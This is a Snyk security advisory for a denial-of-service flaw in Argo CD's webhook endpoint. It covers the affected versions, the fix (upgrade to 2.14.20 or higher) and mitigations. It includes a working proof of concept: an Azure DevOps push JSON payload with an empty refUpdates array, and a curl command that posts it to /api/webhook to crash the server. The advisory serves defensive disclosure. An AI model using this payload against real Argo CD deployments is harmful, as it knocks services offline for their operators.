Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Improper Check or Handling of Exceptional Conditions vulnerabilities in an interactive lesson.
Start learningUpgrade github.com/argoproj/argo-cd/v2/util/webhook
to version 2.14.20 or higher.
Affected versions of this package are vulnerable to Improper Check or Handling of Exceptional Conditions in the /api/webhook
endpoint. An attacker can cause the server process to crash by sending an Azure DevOps Push event with an empty resource.refUpdates
array.
Note:
This is only exploitable if the default configuration is used where the webhook.azuredevops.username
and webhook.azuredevops.password
are not set.
This vulnerability can be mitigated by configuring a webhook secret to restrict access to trusted parties or by setting the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.
Azure DevOps payload:
{
"eventType": "git.push",
"resource": {
"refUpdates": [],
"repository": {
"remoteUrl": "https://example.com/dummy",
"defaultBranch": "refs/heads/master"
}
}
}
Push event:
curl -k -X POST https://argocd.example.com/api/webhook \
-H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
-H 'Content-Type: application/json' \
--data-binary @payload-azure-empty.json